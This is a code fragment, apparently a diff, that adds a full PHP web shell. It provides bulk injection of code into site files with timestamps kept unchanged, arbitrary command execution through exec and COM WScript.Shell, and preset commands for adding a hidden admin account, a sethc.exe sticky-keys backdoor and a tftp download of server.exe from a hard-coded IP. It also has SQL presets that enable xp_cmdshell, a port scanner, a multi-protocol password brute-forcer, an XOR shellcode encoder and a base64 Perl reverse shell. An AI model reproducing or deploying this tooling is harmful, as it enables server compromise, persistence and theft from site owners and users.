                '; + return false; + } + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); +print<< +function Fullll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";xform.qp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";xform.qt.value = Str[i];} + return true; +} +function autoup(){ + if(document.getElementById('qp').value == ''){alert('path can not be empty');return false;} + if(document.getElementById('qt').value == ''){alert('type can not be empty');return false;} + if(document.getElementById('qc').value == ''){alert('code can not be empty');return false;} + document.getElementById('xform').submit(); +} + +
                +
                Path: +
                +
                Type: +
                +
                Clean Code
                +
                keep file time unchanged
                +
                applied to current folder,subfolders and files +
                only applied to current folder
                +
                + +END; + return true; +} + +//bulk replace + +function Tihuan_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb) +{ + if(($h_d = @opendir($tp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + $Filepath = File_Str($tp.'/'.$Filename); + if(is_dir($Filepath) && $tb) Tihuan_Auto($Filepath,$tt,$th,$tca,$tcb,$td,$tb); + $doing = false; + if(eregi($tt,$Filename)) + { + $ic = File_Read($Filepath); + if($th) + { + if(!stristr($ic,$tca)) continue; + $ic = str_replace($tca,$tcb,$ic); + $doing = true; + } + else + { + preg_match_all("/\'."\r\n" : 'err:'.$Filepath.'
                '."\r\n"; + if($td) @touch($Filepath,$ftime); + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Tihuan_d() +{ + if((!empty($_POST['tp'])) && (!empty($_POST['tt']))) + { + $tt = str_replace('.','\\.',$_POST['tt']); + $td = isset($_POST['td']) ? true : false; + $tb = ($_POST['tb'] == 'a') ? true : false; + $th = ($_POST['th'] == 'a') ? true : false; + if($th) $_POST['tca'] = str_replace('.','\\.',$_POST['tca']); + echo Tihuan_Auto($_POST['tp'],$tt,$th,$_POST['tca'],$_POST['tcb'],$td,$tb) ? 'Done' : 'Abort'; + echo '
                '; + return false; + } + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); +print<< +function Fulllll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];} + return true; +} +function showth(th){ + if(th == 'a') document.getElementById('setauto').innerHTML = '
                Searchment
                Replacement '; + if(th == 'b') document.getElementById('setauto').innerHTML = '
                Download Suffix

                   Replacement   '; + return true; +} +function autoup(){ + if(document.getElementById('tp').value == ''){alert('path can not be empty');return false;} + if(document.getElementById('tt').value == ''){alert('type can not be empty');return false;} + if(document.getElementById('tca').value == '' || document.getElementById('tcb').value == ''){alert('replacement can not be empty');return false;} + document.getElementById('tform').submit(); +} + +
                +
                Path: +
                +
                Type: +
                +
                Designated Content Of The Repalce File Download Url Of The Replace File
                +
                Searchment: 
                Replacement:
                +
                keep file time unchanged
                +
                applied to current folder,subfolders and files +
                only applied to current folder
                +
                + +END; + return true; +} + +//clean trojan + +function Antivirus_Auto($sp,$features,$st) +{ + if(($h_d = @opendir($sp)) == NULL) return false; + $ROOT_DIR = File_Mode(); + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + $Filepath = File_Str($sp.'/'.$Filename); + if(is_dir($Filepath)) Antivirus_Auto($Filepath,$features,$st); + if(eregi($st,$Filename)) + { + if($Filepath == File_Str(__FILE__)) continue; + $ic = File_Read($Filepath); + foreach($features as $var => $key) + { + if(stristr($ic,$key)) + { + $Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + echo '
                '.$Filepath.'
                EditDel】 '; + echo '【'.$Filetime.'】 '.$var.'

                '; + break; + } + } + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Antivirus_e() +{ + if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo ' del successfully';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? ' del successfully' : ' del faild';} return false;} + if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } + $SCAN_DIR = (File_Mode() == '') ? File_Str(dirname(__FILE__)) : File_Mode(); + $features_php = array('ftp.class.php'=>'ftp.class.php','cha88.cn'=>'cha88.cn','Security Angel Team'=>'Security Angel Team','read()'=>'->read()','readdir'=>'readdir(','return string soname'=>'returns string soname','eval()'=>'eval(gzinflate(','eval(base64_decode())'=>'eval(base64_decode(','eval($_POST)'=>'eval($_POST','eval($_REQUEST)'=>'eval($_REQUEST','eval ($_)'=>'eval ($_','copy()'=>'copy($_FILES','copy ()'=>'copy ($_FILES','move_uploaded_file()'=>'move_uploaded_file($_FILES','move_uploaded_file ()'=>'move_uploaded_file ($_FILES','str_replace()'=>'str_replace(\'\\\\\',\'/\','); + $features_asx = array('绝对路径'=>'绝对路径','输入马的内容'=>'输入马的内容','fso.createtextfile()'=>'fso.createtextfile(path,true)','<%execute(request())%>'=>'<%execute(request','<%eval request()%>'=>'<%eval request','execute session()'=>'execute session(','--Created!'=>'--Created!','WScript.Shell'=>'WScript.Shell','<%s LANGUAGE = VBScript.Encode %>'=>'<%@ LANGUAGE = VBScript.Encode %>','www.rootkit.net.cn'=>'www.rootkit.net.cn','Process.GetProcesses'=>'Process.GetProcesses','lake2'=>'lake2'); +print<<
                +Path: + + +
                +END; + if(!empty($_POST['sp'])) + { + if($_POST['st'] == 'php'){$features_all = $features_php; $st = '\.php|\.inc|\.php4|\.php3|\._hp|\;';} + if($_POST['st'] == 'asx'){$features_all = $features_asx; $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\.cdx|\;';} + if($_POST['st'] == 'ppp'){$features_all = array_merge($features_php,$features_asx); $st = '\.php|\.inc|\.php4|\.php3|\._hp|\.asp|\.asa|\.cer|\.cdx|\.aspx|\.ascx|\;';} + echo Antivirus_Auto($_POST['sp'],$features_all,$st) ? 'Done' : 'Abort'; + } + echo ''; + return true; +} +//search file +function Findfile_Auto($sfp,$sfc,$sft,$sff,$sfb) +{ + //echo $sfp.'
                '.$sfc.'
                '.$sft.'
                '.$sff.'
                '.$sfb; + if(($h_d = @opendir($sfp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + if(eregi($sft,$Filename)) continue; + $Filepath = File_Str($sfp.'/'.$Filename); + if(is_dir($Filepath) && $sfb) Findfile_Auto($Filepath,$sfc,$sft,$sff,$sfb); + if($sff) + { + if(stristr($Filename,$sfc)) + { + echo ' '.$Filepath.'
                '."\r\n"; + ob_flush(); + flush(); + } + } + else + { + $File_code = File_Read($Filepath); + if(stristr($File_code,$sfc)) + { + echo ' '.$Filepath.'
                '."\r\n"; + ob_flush(); + flush(); + } + } + } + @closedir($h_d); + return true; +} + +function Findfile_j() +{ + if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo 'del successfully';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? 'del successfully' : 'del faild';} return false;} + if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } + $SCAN_DIR = isset($_POST['sfp']) ? $_POST['sfp'] : File_Mode(); + $SCAN_CODE = isset($_POST['sfc']) ? $_POST['sfc'] : 'config'; + $SCAN_TYPE = isset($_POST['sft']) ? $_POST['sft'] : '.mp3|.mp4|.avi|.swf|.jpg|.gif|.png|.bmp|.gho|.rar|.exe|.zip'; +print<< +
                Scan Path
                +
                 File Filter 
                +
                Keywords +search filename +search include keywords
                +
                applied to current folder,subfolders and files +
                only applied to current folder
                +
                + +END; + if((!empty($_POST['sfp'])) && (!empty($_POST['sfc']))) + { + echo '
                '; + $_POST['sft'] = str_replace('.','\\.',$_POST['sft']); + $sff = ($_POST['sff'] == 'a') ? true : false; + $sfb = ($_POST['sfb'] == 'a') ? true : false; + echo Findfile_Auto($_POST['sfp'],$_POST['sfc'],$_POST['sft'],$sff,$sfb) ? 'Done' : 'Error'; + echo '
                '; + } + return true; +} +//ftp connect +function filecollect($dir,$filelist) { + $files = ftp_nlist($conn,$dir); + return $files; + } +function ftp_php(){ +$dir = ""; +$ftphost = isset($_POST['ftphost']) ? $_POST['ftphost'] : '127.0.0.1'; +$ftpuser = isset($_POST['ftpuser']) ? $_POST['ftpuser'] : 'root'; +$ftppass = isset($_POST['ftppass']) ? $_POST['ftppass'] : 'root'; +$ftplist = isset($_POST['list']) ? $_POST['list'] : ''; +$ftpfolder = isset($_POST['ftpfolder']) ? $_POST['ftpfolder'] : '/'; +$ftpfolder = strtr($ftpfolder,"\\","/"); +$files = isset($_POST['readfile']) ? $_POST['readfile'] : ''; +print<<
                connect ftp server with php

                +

                +
                Host: +User: +Pass:

                + +folder: + +

                +END; +if($ftplist == 'list'){ +$conn = @ftp_connect($ftphost) or die("could not connect to ftp server"); + if(@ftp_login($conn,$ftpuser,$ftppass)){ + $filelists = @ftp_nlist( $conn, $ftpfolder ); + echo "
                ";
                +    echo "current folder is $ftpfolder:
                "; + if(is_array($filelists)) + { + foreach ($filelists as $file) + { + $file = strtr($file,"\\","/"); + $size_file =@ftp_size($conn, $file); + if ( $size_file == -1) + { + $a=$a.basename($file)."
                "; + } + else + { + $b=$b.basename($file)." ".$size_file."B
                "; + } + } + } + echo $a; + echo $b; + echo "
                "; + } + } +print<< +
                filename: + +

                +END; +$readaction = isset($_POST['read']) ? $_POST['read'] : ''; +if ($readaction == 'read') { + $handle = @file_get_contents("ftp://$ftpuser:$ftppass@$ftphost/$files", "r"); + $handle = htmlspecialchars($handle); + $handle = str_replace("\n", "
                ", $handle); + echo "the content of $files is:

                "; + echo $handle; + } +print<< +
                folder: + + +

                +END; +$upaction = isset($_POST['upfile']) ? $_POST['upfile'] : '' ; +if ($upaction == 'upfile') { + $cdir = isset($_POST['cdir']) ? $_POST['cdir'] : '/'; + $conn = @ftp_connect($ftphost) or die("could not connect to ftp server"); + if(@ftp_login($conn,$ftpuser,$ftppass)){ + @ftp_chdir($conn, $cdir); + $res_code = @ftp_put($conn,$_FILES['upload']['name'],$_FILES['upload']['tmp_name'], FTP_BINARY,0); + if (empty($res_code)){ + echo 'ftp upload faild
                '; + } + else{ + echo 'ftp upload successful
                '; + } + } + } +print<< +
                path: + +

                +END; +$getfile = isset($_POST['downfile']) ? $_POST['downfile'] : ''; +$getaction = isset($_POST['getfile']) ? $_POST['getfile'] : ''; +if ($getaction == 'down' && $getfile !=''){ +function php_ftp_download($filename){ +global $ftphost,$ftpuser,$ftppass; + $ftp_path = dirname($filename) . "/"; + $select_file = basename($filename); + $ftp = @ftp_connect($ftphost); + if($ftp){ + if(@ftp_login($ftp, $ftpuser, $ftppass)){ + if(@ftp_chdir($ftp,$ftp_path)) { + $tmpfile = tempnam(getcwd(),"temp"); + if(ftp_get($ftp,$tmpfile,$select_file,FTP_BINARY)){ + ftp_quit($ftp); + header("Content-Type:application/octet-stream"); + header("Content-Disposition:attachment; filename=" . $select_file); + unlink($tmpfile); + exit; + } + } + } + } + ftp_quit($ftp); + } +php_ftp_download($getfile); +} +} +//server info + +function Info_Cfg($varname){switch($result = get_cfg_var($varname)){case 0: return "No"; break; case 1: return "Yes"; break; default: return $result; break;}} +function Info_Fun($funName){return (false !== function_exists($funName)) ? "Yes" : "No";} +function Info_f() +{ + $dis_func = get_cfg_var("disable_functions"); + $upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "upfile forbidden"; + $adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "".$_SERVER['SERVER_ADMIN']."" : "".get_cfg_var("sendmail_from").""; + if($dis_func == ""){$dis_func = "No";}else{$dis_func = str_replace(" ","
                ",$dis_func);$dis_func = str_replace(",","
                ",$dis_func);} + $phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No"; + $info = array( + array("server time",date("Y-m-d h:i:s",time())), + array("server domain","".$_SERVER['SERVER_NAME'].""), + array("server ip",gethostbyname($_SERVER['SERVER_NAME'])), + array("server os",PHP_OS), + array("server os language",$_SERVER['HTTP_ACCEPT_LANGUAGE']), + array("server powerby",$_SERVER['SERVER_SOFTWARE']), + array("your IP",getenv('REMOTE_ADDR')), + array("server port",$_SERVER['SERVER_PORT']), + array("php run mode",strtoupper(php_sapi_name())), + array("php ver",PHP_VERSION), + array("run in safe mode",Info_Cfg("safemode")), + array("server administrator",$adminmail), + array("current file path",__FILE__), + array("allow_url_fopen",Info_Cfg("allow_url_fopen")), + array("enable load dll",Info_Cfg("enable_dl")), + array("display_errors",Info_Cfg("display_errors")), + array("register_globals",Info_Cfg("register_globals")), + array("magic_quotes_gpc",Info_Cfg("magic_quotes_gpc")), + array("memory_limit",Info_Cfg("memory_limit")), + array("post_max_size",Info_Cfg("post_max_size")), + array("upload_max_filesize",$upsize), + array("max_execution_time",Info_Cfg("max_execution_time")."second"), + array("disable_functions",$dis_func), + array("phpinfo()",$phpinfo), + array("free disk space",intval(diskfreespace(".") / (1024 * 1024)).'Mb'), + array("GD Library",Info_Fun("imageline")), + array("IMAP",Info_Fun("imap_close")), + array("Mysql database",Info_Fun("mysql_close")), + array("SyBase database",Info_Fun("sybase_close")), + array("Oracle database",Info_Fun("ora_close")), + array("Oracle 8 database",Info_Fun("OCILogOff")), + array("PREL PCRE",Info_Fun("preg_match")), + array("support PDF",Info_Fun("pdf_close")), + array("Postgresql database",Info_Fun("pg_close")), + array("SNMP",Info_Fun("snmpget")), + array("Zlib",Info_Fun("gzclose")), + array("parse XML",Info_Fun("xml_set_object")), + array("FTP",Info_Fun("ftp_login")), + array("ODBC",Info_Fun("odbc_close")), + array("support Session",Info_Fun("session_start")), + array("support Socket",Info_Fun("fsockopen")), + ); + echo '
                parent directory opertion attr time size
                0'.$Filename.'Del '; + echo 'Rename'.$Fileperm.''.$Filetime.'
                '.$fname.' Edit '; + echo ' Rename '.$Fileperm.''.$Filetime.' '.$Filesize.'
                '; + for($i = 0;$i < count($info);$i++){echo ''."\n";} + echo '
                '.$info[$i][0].''.$info[$i][1].'
                '; + return true; +} + +//execute command with php function +function Exec_Run($cmd) +{ + $res = ''; + if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);} + elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);} + elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();} + elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();} + elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);} + return $res; +} + + +function Exec_g() +{ + echo '
                '; + $res = 'back screen'; + $cmd = 'dir'; + if(!empty($_POST['cmd'])){$res = Exec_Run($_POST['cmd']);$cmd = $_POST['cmd'];} +print<< +function sFull(i){ + Str = new Array(11); + Str[0] = "ver"; + Str[1] = "path"; + Str[2] = "ipconfig /all"; + Str[3] = "whoami"; + Str[4] = "tasklist /svc"; + Str[5] = "netstat -an"; + Str[6] = "systeminfo"; + Str[7] = "net user"; + Str[8] = "net view"; + Str[9] = "net config workstation"; + Str[10] = "net config server"; + Str[11] = "net user b4che10r b4che10r /add & net localgroup administrators b4che10r /add"; + Str[12] = "query user"; + Str[13] = "copy c:\\1.php d:\\2.php"; + Str[14] = "copy c:\\windows\\explorer.exe c:\\windows\\system32\\sethc.exe & copy c:\\windows\\system32\\sethc.exe c:\\windows\\system32\\dllcache\\sethc.exe"; + Str[15] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe"; + Str[16] = "ps -ef"; + Str[17] = "ifconfig"; + Str[18] = "cat /etc/syslog.conf"; + Str[19] = "cat /etc/my.cnf"; + Str[20] = "cat /etc/hosts"; + Str[21] = "cat /etc/services"; + document.getElementById('cmd').value = Str[i]; + return true; +} + +
                +Command: + +
                +
                + +END; + return true; +} + +//api + +function Com_h() +{ + $object = isset($_GET['o']) ? $_GET['o'] : 'adodb'; + $com = array("adodb" => "ADODB.Connection","wscript" => "WScript.shell","application" => "Shell.Application"); +print<<[ADODB.Connection] +[WScript.shell] +[Shell.Application] +
                +

                +END; + $shell = new COM($com[$object]); +if($object == 'wscript') +{ + $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'dir'; + $cmdpath = isset($_POST['cmdpath']) ? $_POST['cmdpath'] : 'c:\\windows\\system32\\cmd.exe'; +print<<
                +command: +
                +END; + if(!empty($_POST['cmd'])) + { + + $exe = @$shell->exec("$cmdpath /c ".$cmd); + $out = $exe->StdOut(); + $output = $out->ReadAll(); + echo '
                '.$output.'
                '; + } +} +elseif($object == 'application') +{ + $run = isset($_POST['run']) ? $_POST['run'] : 'cmd.exe'; + $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'copy c:\windows\php.ini c:\php.ini'; +print<< +

                Command argv:
                +


                +END; + if(!empty($_POST['run'])) echo (@$shell->ShellExecute($run,'/c '.$cmd) == '0') ? 'Done' : 'Faild'; +} +elseif($object == 'adodb') +{ + $string = isset($_POST['string']) ? $_POST['string'] : ''; + $sql = isset($_POST['sql']) ? $_POST['sql'] : ''; +print<< +function hFull(i){ + if(i==0 || i==10) return false; + Str = new Array(12); + Str[1] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\db.mdb;Jet OLEDB:Database Password=***"; + Str[2] = "Driver={Sql Server};Server=localhost,1433;Database=DbName;Uid=sa;Pwd=sa"; + Str[3] = "Driver={MySql};Server=localhost;Port=3306;Database=DbName;Uid=root;Pwd=root"; + Str[4] = "Provider=OraOLEDB.Oracle.1;User ID=oracle;Password=oracle;Data Source=ORACLE;Persist Security Info=True;"; + Str[5] = "driver={IBM db2 odbc DRIVER};database=mydb;hostname=localhost;port=50000;protocol=TCPIP;uid=root; pwd=pass"; + Str[6] = "DRIVER={POSTGRESQL};SERVER=127.0.0.1;DATABASE=PostGreSQL;UID=postgresql;PWD=123456;"; + Str[7] = "Dsn='';Driver={INFORMIX 3.30 32 BIT};Host=myHostname;Server=myServerName;Service=myServiceName;Protocol=olsoctcp;Database=myDbName;UID=myUsername;PWD=myPassword"; + Str[8] = "DSN=mydns;Uid=username;Pwd=password"; + Str[9] = "FILEDNS=c:\\\path\\\db.dsn;Uid=username;Pwd=password"; + Str[11] = "SELECT * FROM [TableName] WHERE ID<100"; + Str[12] = "INSERT INTO [TableName](USER,PASS) VALUES('b4che10r','mypass')"; + Str[13] = "UPDATE [TableName] SET USER='b4che10r' WHERE ID=100"; + Str[14] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))"; + Str[15] = "DROP TABLE [TableName]"; + Str[16] = "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)"; + Str[17] = "select shell('c:\windows\system32\cmd.exe /c net user b4che10r abc123 /add');"; + Str[18] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"; + Str[19] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;"; + Str[20] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;"; + Str[21] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll')"; + Str[22] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll')"; + Str[23] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo '' > c:\info.php';"; + Str[24] = "sp_makewebtask @outputfile='d:\\\web\\\test.php',@charset=gb2312,@query='select test';"; + Str[25] = "Exec master.dbo.xp_cmdshell 'ver';"; + Str[26] = "Select Name FROM Master..SysDatabases;"; + Str[27] = "select name from sysobjects where type='U';"; + Str[28] = "Select Name from SysColumns Where id=Object_Id('TableName');"; + Str[29] = "select username,password from dba_users;"; + Str[30] = "select TABLE_NAME from all_tables;"; + Str[31] = "desc admin;"; + Str[32] = "grant connect,resource,dba to user_name;"; + Str[33] = "select datname from pg_database;"; + Str[34] = "select relname from pg_stat_user_tables;"; + Str[35] = "\\\d table_name"; + Str[36] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));"; + Str[37] = "\\\! uname -a"; + Str[38] = "select schemaname from syscat.schemata;"; + Str[39] = "select name from sysibm.systables;"; + Str[40] = "select colname from syscat.columns where tabname='table_name';"; + Str[41] = "db2 get db cfg for db_name;"; + Str[42] = "select name from sysdatabases;"; + Str[43] = "select tabname from systables where tabid=n;"; + Str[44] = "select tabname,colname,owner,coltype from syscolumns join systables on syscolumns.tabid = systables.tabid;"; + Str[45] = "select username,usertype,password from sysusers;"; + if(i<=9){document.getElementById('string').value = Str[i];}else{document.getElementById('sql').value = Str[i];} + return true; +} + +conn strings:
                + +

                SQL Commnad:
                + +
                +END; + if(!empty($string)) + { + @$shell->Open($string); + $result = @$shell->Execute($sql); + $count = $result->Fields->Count(); + for($i=0;$i < $count;$i++){$Field[$i] = $result->Fields($i);} + echo $result ? $sql.' Done
                ' : $sql.' Faild
                '; + if(!empty($count)){while(!$result->EOF){for($i=0;$i < $count;$i++){echo $Field[$i]->value.'
                ';}@$result->MoveNext();}} + $shell->Close(); + } +} + $shell = NULL; + echo '
                '; + return true; +} + +//scan port + +function Port_i() +{ +print<< +
                +Scan IP
                +

                Ports
                +

                +

                +END; + if((!empty($_POST['ip'])) && (!empty($_POST['port']))) + { + $ports = explode('|',$_POST['port']); + for($i = 0;$i < count($ports);$i++) + { + $fp = @fsockopen($_POST['ip'],$ports[$i],&$errno,&$errstr,1); + echo $fp ? 'Openned Ports ---> '.$ports[$i].'
                ' : 'Closed Ports ---> '.$ports[$i].'
                '; + ob_flush(); + flush(); + } + } + echo ''; + return true; +} + +//convert shellcode + +function shellcode_decode($Url_String,$Oday_value) +{ + $Oday_value = hexdec($Oday_value); + $$Url_String = str_replace(" ", "", $Url_String); + $SHELL = explode("%u", $Url_String); + for($i=0;$i < count($SHELL);$i++) + { + $Temp = $SHELL[$i]; + $s_1 = substr($Temp,2); + $s_2 = substr($Temp,0,2); + $COPY .= $s_1.$s_2; + } + for($n=0; $n < strlen($COPY); $n+=2){$Decode .= pack("C", hexdec(substr($COPY, $n, 2) )^ $Oday_value);} + return $Decode; +} + +function shellcode_encode($Url_String,$Oday_value) +{ + $Length =strlen($Url_String); + $Todec = hexdec($Oday_value); + for ($i=0; $i < $Length; $i++) + { + $Temp = ord($Url_String[$i]); + $Hex_Temp = dechex($Temp ^ $Todec); + if (hexdec($Hex_Temp) < 16) $Hex_Temp = '0'.$Hex_Temp; + $hex .= $Hex_Temp; + } + if ($Length%2) $hex .= $Oday_value.$Oday_value; else $hex .= $Oday_value.$Oday_value.$Oday_value.$Oday_value; + for ($n=0; $n < strlen($hex); $n+=4) + { + $Temp = substr($hex, $n, 4); + $s_1= substr($Temp,2); + $s_2= substr($Temp,0,2); + $Encode.= '%u'.$s_1.$s_2; + } + return $Encode; +} + +function shellcode_findxor($Url_String) +{ + for ($i = 0; $i < 256; $i++) + { + $shellcode[0] = shellcode_decode($Url_String, dechex($i)); + if ((strpos ($shellcode[0],'tp:')) || (strpos ($shellcode[0],'url')) || (strpos ($shellcode[0],'exe'))) + { + $shellcode[1] = dechex($i); + return $shellcode; + } + } +} + +function Shellcode_j() +{ + $Oday_value = '0'; + $Shell_Code = 'http://blog.taskkill.net/mm.exe'; + $checkeda = ' checked'; + $checkedb = ''; + if(!empty($_POST['code'])) + { + if($_POST['xor'] == 'a' && isset($_POST['number'])){$Oday_value = $_POST['number'];$Shell_Code = shellcode_encode($_POST['code'],$Oday_value);} + if($_POST['xor'] == 'b'){$checkeda = '';$checkedb = ' checked';$Shell_Code_Array = shellcode_findxor($_POST['code']);$Shell_Code = $Shell_Code_Array[0];$Oday_value = $Shell_Code_Array[1];} + if(!$Oday_value) $Oday_value = '0'; + if(!$Shell_Code) $Shell_Code = 'could not find the shellcode download url'; + $Shell_Code = htmlspecialchars($Shell_Code); + } +print<< +
                XOR Value:    +encode shellcode with XOR decode shellcode with XOR
                +
                +
                + +END; + return true; +} + +//weak scan + +function Crack_k() +{ + $MSG_BOX = 'waiting for message queue......'; + $ROOT_DIR = File_Mode(); + $SORTS = explode('/',$ROOT_DIR); + array_shift($SORTS); + $PASS = join(',',$SORTS); + for($i = 0;$i < 10;$i++){$n = (string)$i; $PASS .= $n.$n.$n.$n.$n.$n.','; $PASS .= $n.$n.$n.$n.$n.$n.$n.','; $PASS .= $n.$n.$n.$n.$n.$n.$n.$n.',';} + if((!empty($_POST['address'])) && (!empty($_POST['user'])) && (!empty($_POST['pass']))) + { + $SORTPASS = explode(',',$_POST['pass']); + $connect = false; + $MSG_BOX = 'not found'; + for($k = 0;$k < count($SORTPASS);$k++) + { + if($_POST['class'] == 'mysql') $connect = @mysql_connect($_POST['address'],$_POST['user'],chop($SORTPASS[$k])); + if($_POST['class'] == 'ftp'){$Ftp_conn = @ftp_connect($_POST['address'],'21');$connect = @ftp_login($Ftp_conn,$_POST['user'],chop($SORTPASS[$k]));} + if($_POST['class'] == 'mssql') $connect = @mssql_connect($_POST['address'],$_POST['user'],chop($SORTPASS[$k])); + // if($_POST['class'] == 'pgsql') $connect = @pg_connect("host=$_POST['address'] port=5432 dbname=postgres user=$_POST['user'] password=".chop($SORTPASS[$k])); + if($_POST['class'] == 'pgsql') $connect = @pg_connect("host={$_POST['address']} port=5432 dbname=postgres user={$_POST['user']} password={chop($SORTPASS[$k])}"); + //$connect = @oci_connect('system','oracle','"//localhost/orcl'); + if($_POST['class'] == 'oracle') $connect = @oci_connect($_POST['user'],chop($SORTPASS[$k]),$_POST['address']); + if($_POST['class'] == 'ssh'){$ssh_conn = @ssh2_connect($_POST['address'],'22');$connect = @ssh2_auth_password($ssh_conn,$_POST['user'],chop($SORTPASS[$k]));} + if($connect) $MSG_BOX = '[project: '.$_POST['class'].'] [ip: '.$_POST['address'].'] [user: '.$_POST['user'].'] [pass: '.$SORTPASS[$k].']'; + } + } +print<< +
                {$MSG_BOX}
                +
                Host
                +
                User
                +
                Pass
                +
                Crack Project: Mysql +FTPmssqlPgsqlOracleSSH
                +
                +END; + return true; +} + +//back connect + +function Linux_l() +{ + echo '

                '; +print<<
                +Your IP: +Your Port: +Script Used: +

                +END; + if((!empty($_POST['yourip'])) && (!empty($_POST['yourport']))) + { + if($_POST['use'] == 'perl') + { + $back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". + "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". + "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". + "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". + "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". + "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". + "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + echo File_Write('/tmp/b4che10r_pl',base64_decode($back_connect_pl),'wb') ? 'create /tmp/b4che10r_pl success
                ' : 'create /tmp/b4che10r_pl faild
